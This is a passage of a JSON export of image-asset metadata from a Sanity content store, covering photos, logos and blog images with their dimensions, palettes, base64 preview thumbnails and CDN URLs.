{"_createdAt":"2023-06-07T13:28:47Z","_id":"image-56bea5bae8b5ed98cc3e53dbc65484e027093d7f-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIyW9FvK","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:28:47Z","assetId":"56bea5bae8b5ed98cc3e53dbc65484e027093d7f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6B:jX;s0LtPG106D$xrr=Iq4nKR%h%3$w","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAwf/xAAiEAACAgICAQUBAAAAAAAAAAABAwIEABEFEiEGEyJBcYH/xAAXAQADAQAAAAAAAAAAAAAAAAACAwQF/8QAHBEAAgICAwAAAAAAAAAAAAAAAQIAEQQSAyEx/9oADAMBAAIRAxEAPwDnXD+m1XFysNb7TftchokY8PCJoKU2bVLEt6G948fTrxtfFQH5mFmuqfWMoAxMj4/mKV3QnwwyQ1V1I6rVmQzovuO58jDJnm+UvUeUsJqWWKUJbEYnxhmtx5zKoFSF8fZidp//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#574a36","foreground":"#fff","population":5.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#694612","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8b7a5f","foreground":"#fff","population":5.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdb29f","foreground":"#000","population":5.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7ebcda","foreground":"#000","population":1.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b7a5f","foreground":"#fff","population":5.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b83c0","foreground":"#fff","population":4.2,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"comcast-customer-img.jpg","path":"images/sczeoy4w/production/56bea5bae8b5ed98cc3e53dbc65484e027093d7f-1920x1037.jpg","sha1hash":"56bea5bae8b5ed98cc3e53dbc65484e027093d7f","size":3687034,"uploadId":"RRgFVWJ2KLZeGY7AQnrCMFtk1Fbj3jac","url":"https://cdn.sanity.io/images/sczeoy4w/production/56bea5bae8b5ed98cc3e53dbc65484e027093d7f-1920x1037.jpg"} {"_createdAt":"2022-06-14T14:41:03Z","_id":"image-56c1434729dc143050599a2ed41965bbe0045489-72x72-jpg","_rev":"oamrAPLmQLQjd9jh7YpyyE","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:03Z","assetId":"56c1434729dc143050599a2ed41965bbe0045489","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNH2D.00_3Rjsm~poeR*%MM{xtoLM|ofaeE2ofs.RjtRoyayWBWBbH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":72,"width":72},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAMHCAUG/8QAJhAAAgEDBAEDBQAAAAAAAAAAAQIDAAQFBhESIRMHFBUiMVFxkf/EABYBAQEBAAAAAAAAAAAAAAAAAAIDAP/EABoRAQEBAAMBAAAAAAAAAAAAAAEAAgMREiH/2gAMAwEAAhEDEQA/AJc75vgroWc/hn4bq4PY/O1ej9M54rnDoqzvMygcmkbck1QmV1PNPnXi87LCh+jY9dV3cNqWeyyVtdQTMX8ihkQbAj9UPC/apsBOrTscK8RSorO4E1rFIOuahv7St1ax7irOC41dDbzxh4XbtTVk4fTWNhzMKLExHuQO236++1KUNafYVMZHjXqu+E8Y1VegBsBSlKdO/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544544","foreground":"#fff","population":7.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#180b0b","foreground":"#fff","population":1.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#544544","foreground":"#fff","population":7.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6b5a9","foreground":"#000","population":1.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eebda9","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#93756a","foreground":"#fff","population":2.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae5050","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"chris.jpg","path":"images/sczeoy4w/production/56c1434729dc143050599a2ed41965bbe0045489-72x72.jpg","sha1hash":"56c1434729dc143050599a2ed41965bbe0045489","size":2062,"uploadId":"jOsM2shhr64Xw45XrI945BvriQGRgpCe","url":"https://cdn.sanity.io/images/sczeoy4w/production/56c1434729dc143050599a2ed41965bbe0045489-72x72.jpg"} {"_createdAt":"2024-08-05T17:25:39Z","_id":"image-56c9d8bdcf3b02bedc4dee8e9adff9015ce767a0-1014x474-png","_rev":"0ZClMCbPWtPcsqCS1a87d9","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T17:25:57Z","altText":null,"assetId":"56c9d8bdcf3b02bedc4dee8e9adff9015ce767a0","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6SPb3RQ4o_3Rj~qxuWBxuxuOrM{M{jaRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1392405063291138,"height":474,"width":1014},"exif":{"ColorSpace":1,"PixelXDimension":1014,"PixelYDimension":474,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABWUlEQVQokYWSyW7DMAxE8/9fl2sOKYIUXYJasrWSWqcg7RYteqiNAQ1BepohfXIuwBgLqcQVkRjWOSzWYvMeXCv6HOhz/lHtHTFnuBDgU0IqBaecWYGLsQgxIRMj5YwQI1JKqK1hzokJYP54x5wopcCuK97e37EYg8yMUykV67phWQycD4iZEFPCtm1wzoG5YIzxrd77dyVibJJmWXQ/iUMByi07MKpLARtjdD3nrE4ETETqXiozg0QkIv0urQmwwTmvh0PYI2cixCMy/4DlLPoHWGuD90FFVHSx1KoHBaDuDrXWNGofA+2I7LyHtRbe+z1yjAm32w0vr68HsKtD2SBK6ctRUZgMSB6p0i7ZI0ABK1B6dz6fcblc4EME1apDWbdNJdMWpxJRHOrED8kF4lwMSGRuFafH4wPX6xPu9+cd2BpyYYSUVEl6x6ySdvz6J8fQf1HbJOodn+G0udgTX0ywAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#176d65","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1fcfb","foreground":"#000","population":3.41,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4dcd8","foreground":"#000","population":0.12,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1fcfb","foreground":"#000","population":3.41,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c8484","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2cd2c3","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Optimize AWS Costs Blog Image #1","path":"images/sczeoy4w/production/56c9d8bdcf3b02bedc4dee8e9adff9015ce767a0-1014x474.png","sha1hash":"56c9d8bdcf3b02bedc4dee8e9adff9015ce767a0","size":62718,"title":null,"uploadId":"SSICzUgHZUMC6CgjxRwFCmAPl5bwNL2l","url":"https://cdn.sanity.io/images/sczeoy4w/production/56c9d8bdcf3b02bedc4dee8e9adff9015ce767a0-1014x474.png"} {"_createdAt":"2022-06-16T22:53:50Z","_id":"image-570317376d2cb7af5259bda097cfad058e69c190-154x28-svg","_rev":"oamrAPLmQLQjd9jh7ZoFda","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:50Z","assetId":"570317376d2cb7af5259bda097cfad058e69c190","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"405q|p-:M_t5oi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.5,"height":28,"width":154},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAuklEQVQYlS3PPSvGcRjF8XsipezugVGG0+c/We5FpEQomQwyWNwGeVhYPMtDJJGMJi/DS9Ovrul0Ot/rXJ0e+SCXZI6MkykyIDNklqyRJTJJRhvTdel3XabJBBkjI6RPNnvknOySZbJA1sk+2WkAGZITskUWySrZrnyDrJD5yp9a4V4VHJFjckDO6lHTO/JCrslF+aZt1T15LPaG/LbCB/JObslzQafksI7eyA/5Jq/kq5jGf5a/Kv37BwDJTAe56oQvAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c38","foreground":"#fff","population":1.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#444440","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c38","foreground":"#fff","population":1.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f4f49","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bebeba","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4f4f49","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#83837b","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"schibsted.svg","path":"images/sczeoy4w/production/570317376d2cb7af5259bda097cfad058e69c190-154x28.svg","sha1hash":"570317376d2cb7af5259bda097cfad058e69c190","size":21597,"uploadId":"m0V5eB9F0IdvOYnDNCkHess5kY5tJl5v","url":"https://cdn.sanity.io/images/sczeoy4w/production/570317376d2cb7af5259bda097cfad058e69c190-154x28.svg"} {"_createdAt":"2022-06-14T14:41:12Z","_id":"image-5713f0ce33855afc5f569f07a618bb0dbe1003e4-335x341-png","_rev":"qkpX9b3U0TpOGFQp8XG4IT","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:12Z","assetId":"5713f0ce33855afc5f569f07a618bb0dbe1003e4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ejNm4oof?^NKnhoaWCs*oeozS$j[nljZaetRa#jbjYM{xaoLn$ayR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9824046920821115,"height":341,"width":335},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEeElEQVQ4jS3Re1NSeQDG8fOe9vJHTc3stO3O1E6tW02ZZahtKgqlIioKaCpeVjQ1F0sTpNUkDVISjbwFngsc4NzP73ducLhsF/BF7Li7L+Az32fmQTSA5yCRl4iCmizmBEVIYDvz4UXjymjVQu/lMeOlgYZfPPaGaGASZHY/5dKVEn1SSlVKeLmEIqpI/OvxHERZYnt3dXz1j/oF+9Vx44+Wa2dvn/uu6ttvDBfO9NVdXZ3uYdE3X/RkpUSWi1i5iCIKwFWAZiEGqQ/bL0en2q646s667p3rqTpjvHDm9x8utvx8ufniBcP57ztu/rTlG8rDvUopUS5h5SKGyABVwXFOwhhsa3nsob363GjNea/p12XzTa+5fqOvZ3fMteGwOm9VNV86vzRuUqi3JyW88h9WIKpCNCvh1PHmwmPzUO3FN7Yabt4mL7ng0qT610J2zct6Z1dtZlv1pReuVikdOili5QJaLqCICjFNwnSF4BI7/omeOfON+JOHin9Q9o5p/hnVP5d55o5PD647TSP3r/ndXQoTOSniFf24kkeRHMRyEl5QEjC9F/QM+rrvREcehPoMy6aaHYcp+rjd03jXXX/jmbl6xnw7OD+cE/YrRaKioxUdRXQJL8hESSWz1MG+dyTYb4gON/jM16fuXA51GMJdTePVVcPVV30dhoCz5XB5qiAcVYpkOY+XdQwpKERRSZRUssAccq+nyOmHjKeTmGyPDZroCWtqtOdd96OwvWNv3Hbg7k2tzP3Nf/wf53GkIJ+Wi2qiJMT13SXN58z5B3TfgDzXLU5aiKGOQ0cnOmbHpwfQuSE26PsEjk+xjn3VcUSHmA6x0+USUSIjhXfPtZURfs5CDDYcdt8NtdauGeu3baaP7j7y5VPlOPJZI7/q5Jcs/jmLIZpIaGIiB5O6nM7DdD51JAXnyalHB3bDrqV2vfney8a6DUvj/qSd3g7khHQxyxXVVEEi8hBDAJcBHAV5CvAUBILMC2JkLfOnLTFujvW3bHc+CFqaQr3N0ScOKrqlAFGTgSpmZI6QGBThGI6jWZZm6AzFMILIAn5nnfR04xPG2FBzxHZ/vdMQ6KrdnrCSkRDkgQwliaMBTQgUhrC0wFAcQzFUhqEojsITmY3nxOyjD0O1W7Zbr9p+W2q9stx2Y9PVhoVeAUZUJE0SeIlNQ4ZEOBqwtMjRAseILMVjka0jj4OcNcXdjWHnnTXL9eW266tWw0Z/e9S3yKU4TS2okqyInCLQp5ijAc9AwEuAExLvw4ceR/qpmZlvJ2bb90fNb50tgZ7WFZs15HmRiGdkqGuyqgJBEWmEoUSeAYCDiiiqHMOjR/jrhfisNTndkprtiE10hnpNvrYWr31wY3F9bwdPJznIQwWIisAgQJA1qORlKS+yGpUAWCwWXA+MOTYHmg5GjLtOo99cP9PU6HG6VxfD4Tex2D7JpDjAnv6CFLO5T9nsl5xaApxCYnzs8P2rwIy9/7nVtOloDnU1LDTWuOobXJ2uxafBt2tH8Q9JmmCZJAtY8A8RrjL8ep5COQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#745050","foreground":"#fff","population":0.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3a2c","foreground":"#fff","population":7.94,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dcd6c6","foreground":"#000","population":8.01,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcd6c6","foreground":"#000","population":8.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#deab9a","foreground":"#000","population":4.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a3734f","foreground":"#fff","population":7.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b75931","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"andrew.png","path":"images/sczeoy4w/production/5713f0ce33855afc5f569f07a618bb0dbe1003e4-335x341.png","sha1hash":"5713f0ce33855afc5f569f07a618bb0dbe1003e4","size":151152,"uploadId":"OB5YWja0zlRq4S7TyVsAa1Ssiu41Qrje","url":"https://cdn.sanity.io/images/sczeoy4w/production/5713f0ce33855afc5f569f07a618bb0dbe1003e4-335x341.png"} {"_createdAt":"2022-06-15T20:01:45Z","_id":"image-573b9cd619a5396e9703b3e1bd647fb55edd29de-752x405-png","_rev":"ecafYeJdFUSoqAVEkXNTsO","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:53:42Z","assetId":"573b9cd619a5396e9703b3e1bd647fb55edd29de","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7N]^a2].lUb.S00MdiuI]oy2$y@vgClDO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACfklEQVQokRXK2U/TcAAA4P5LxvDkA4lxT5hg1BgxMTFBMMZIwHhEQRADXoByGEDHlQGisHGta+lWdq/ttvZ3tFvb3evB6Ebik9FXw8v39BE919pGH7pW3tzcneoiZ++QX2773t1YetYx3edyv+hYH+r8/Lj99f0LIw8uTvS3f3/V4Rm5/mv8FrfWUws+IdbnPu0uTgQ8s8z2Qnh/KRXwCNRGfH8ttOOO7i1z/tWwd/Fgc2rXM+n/MRPZc3OBDYHezCd2LHxAoKQIKDZGBhk6HI3yAKiaWi3o9YJe1bVKQa+WioZeqGt6rVgyjPqJbTmW6VhW07ZahAJ0IZwKM1GWTcbiGUHAWVFFuIRwWZR0CVV0rVHFNSOr20A/zZdbRrPV+uOc/Ws0/xII5thQ5IgKBYMRmj6mqGOKDrPHPMfjTArhmFhh0+bKtvF20hj72JifP2OYllZyTMdp/CagJNNU8PAgQPoZr/fQ6yV9voCfZNMcLLK8tbTV/PDVfPQcu67KV1y1e132+KC9tWoxfisZJ2Sk8lw2mRCSiXQ0korHhUQ8nUxkcEqqeklz+L3Z25+72826XKFLbVznZTjQXZobLy9Pl1emCQWrGOYQUBDIYaBgqJwLlJwgqSSDF9zi6JgwPBQffBoZ6I297BO/zRSpwwpLV/w7hHy+ERIhkhAGGEsIiQgDGWchSHDC0VHSty3s/YQBH6J9mPGrqURZydf0cj1fILCEYFYCGQmKEAOEJYgljKEiAwWKSBQyMJ3RMKpqqlHUjVK5Xq7Vq7ZpOJbRJLAIJJ4XeQFkARIBzIgwAzBQFKzJUMUS1mTVqBgN48SxGqe2c2I3bevMMlum0foPjR/mhr3gXekAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#42352e","foreground":"#fff","population":4.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#846f19","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#42352e","foreground":"#fff","population":4.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b0b0","foreground":"#000","population":1.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc648c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#878587","foreground":"#fff","population":1.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed484f","foreground":"#fff","population":2.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"573b9cd619a5396e9703b3e1bd647fb55edd29de-752x405.png","path":"images/sczeoy4w/production/573b9cd619a5396e9703b3e1bd647fb55edd29de-752x405.png","sha1hash":"573b9cd619a5396e9703b3e1bd647fb55edd29de","size":156972,"uploadId":"FXjwq6W6c6C4StWYUfNaiO9Mknsl9SZZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/573b9cd619a5396e9703b3e1bd647fb55edd29de-752x405.png"} {"_createdAt":"2022-09-26T16:07:06Z","_id":"image-57498b816a584c04b083344abcf82082fcdcc7d6-866x269-png","_rev":"vDQRRYe9nRreptIRp5kCw8","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:18Z","assetId":"57498b816a584c04b083344abcf82082fcdcc7d6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D26*dh~qt7t7of_3M{t7xuM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2193308550185873,"height":269,"width":866},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA00lEQVQYlXWR2wqEMAxE+yPeQcVb1dYLIqgP/v8nzTKRLD7sPgzJpMlpjea+b1zXheM4cJ7nN+77jnEc4ZwTee+xLItonmfRNE1Sp4ZhQF3XMDzgQN/3IkJY897BWgtrO3RdJwPs4znzd79zT29ZljAs0jRNg6qq5BZ6Qtq2FfGMXmv07GO01gqYeZ7nD3BdV3mVgt4w9RwoigJpmiJJEhHzLMtE9HEcw3APurdt2wSuu+Elujd+FoFhGCIIgr8ybOQAQRRzBTLqD1BgFEUySPAvfQC9vrjuw3t/iAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404040","foreground":"#fff","population":1.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbdbd","foreground":"#000","population":4.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdbdbd","foreground":"#000","population":4.83,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":0.5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"57498b816a584c04b083344abcf82082fcdcc7d6-866x269.png","path":"images/sczeoy4w/production/57498b816a584c04b083344abcf82082fcdcc7d6-866x269.png","sha1hash":"57498b816a584c04b083344abcf82082fcdcc7d6","size":95431,"uploadId":"PDPUAPvXkHUvNV6LlvfnwlMgWd7scdAV","url":"https://cdn.sanity.io/images/sczeoy4w/production/57498b816a584c04b083344abcf82082fcdcc7d6-866x269.png"} {"_createdAt":"2023-10-18T15:36:17Z","_id":"image-574d73b73dd9a2e204995c000260b11a2949a67c-1440x517-svg","_rev":"zE08g5Yj02ino50zLcgVti","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T15:36:17Z","assetId":"574d73b73dd9a2e204995c000260b11a2949a67c","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7852998065764023,"height":517,"width":1440},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA2klEQVQokZXMS2vCQBDA8f0IxsduTDaP3UNMrbZfR6koEsWDULH2XLF6EFqVqv24MyMRUx+Qqoff4T8zDONWHWLCqoGwa5C36mAUXyCTwig2IGu3IScjMKwmZPbd2nc8Z8KNMMGdDhacDuacbqq820OuBij0CLn/igWvj9wfoKlHKNQQmamHlBD67X8qvnsnO/ggGc5Ihp8kSxOS4ZSch7inxOxgjPeQpQm65Tl6lcWJ5cECmff4Rff5Jr+yIlX9If9E0kw9rek2mwvbg/Nmx8V1+vn3z+UsebgD+4D0Dpd3kXoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3060","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b146d","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242c93","foreground":"#fff","population":38.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1e247a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949ae4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#444484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c93","foreground":"#fff","population":38.48,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-dark-blue-pattern-right.svg","path":"images/sczeoy4w/production/574d73b73dd9a2e204995c000260b11a2949a67c-1440x517.svg","sha1hash":"574d73b73dd9a2e204995c000260b11a2949a67c","size":5252,"uploadId":"Hxqymrn2YDi4ysjlYAV5Hgv3HJvcxU7D","url":"https://cdn.sanity.io/images/sczeoy4w/production/574d73b73dd9a2e204995c000260b11a2949a67c-1440x517.svg"} {"_createdAt":"2024-04-23T16:12:44Z","_id":"image-57643070e15fcda5b0b32ab7e27f0cf4efd690bf-1816x1024-jpg","_rev":"q2CXUSu3BRlxCt1GEQsFuc","_type":"sanity.imageAsset","_updatedAt":"2024-04-23T16:12:44Z","assetId":"57643070e15fcda5b0b32ab7e27f0cf4efd690bf","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbEWXC9E?IM_R*~nD$-qRiWVt5axofa{WV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7734375,"height":1024,"width":1816},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAgDBQf/xAAgEAACAgIDAAMBAAAAAAAAAAABAgMEABEFBiEHElFz/8QAFgEBAQEAAAAAAAAAAAAAAAAABQEC/8QAHREAAgEEAwAAAAAAAAAAAAAAAAIBAwQRFAUhkf/aAAwDAQACEQMRAD8Aon7EktdAkU5iYeaXeHC9lr8fzVOy9eVYopQzuU9IGZ3HespEFSZ1UDQAORC3O7p95XbR82cynC269xn0Hm6eMDWr869VXxp7m/5YYqlmRmk2x91+YYhroXeqH//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6a324d","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#628208","foreground":"#fff","population":0.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#65828e","foreground":"#fff","population":2.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0a2b2","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e84245","foreground":"#fff","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#65828e","foreground":"#fff","population":2.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6692a","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"tw_6302085204_Aiven_social_4_1816 x 1024.jpg","path":"images/sczeoy4w/production/57643070e15fcda5b0b32ab7e27f0cf4efd690bf-1816x1024.jpg","sha1hash":"57643070e15fcda5b0b32ab7e27f0cf4efd690bf","size":758031,"uploadId":"QSkyfwVHZJXaMk7Mz8zVxaORNibaCqhb","url":"https://cdn.sanity.io/images/sczeoy4w/production/57643070e15fcda5b0b32ab7e27f0cf4efd690bf-1816x1024.jpg"} {"_createdAt":"2023-09-06T15:34:57Z","_id":"image-580d79f5a5c28a7d69ae568abd5973bc5e96aa1d-960x300-png","_rev":"jBJgpqpGruZvOgVMUBa8L4","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T15:34:57Z","assetId":"580d79f5a5c28a7d69ae568abd5973bc5e96aa1d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DH6a^=?w?c%htSoboIoIoJj@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2,"height":300,"width":960},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAy0lEQVQYlZ3MWw7BQBQA0GvqGRUf4oNNWIzQeKXVlum0xpRqtSYSkfKDNCUSFmAnrIs1jLOAAzt+KTzSp3xL0nLEtzmTMORQBjq2ATtzEDYcGbI2Nutj3azpE1yaEIpm7hLoMvgvbCv9alsZNrt9tTFQDdnENgr3Z4hPCWCHiYc9DRc7031FIbGsWasCsS1E+B1cPwRCXfGQrOKsevzkteM77/Cr5LFpRuUvsCiD+cITD6nHkbVOJDt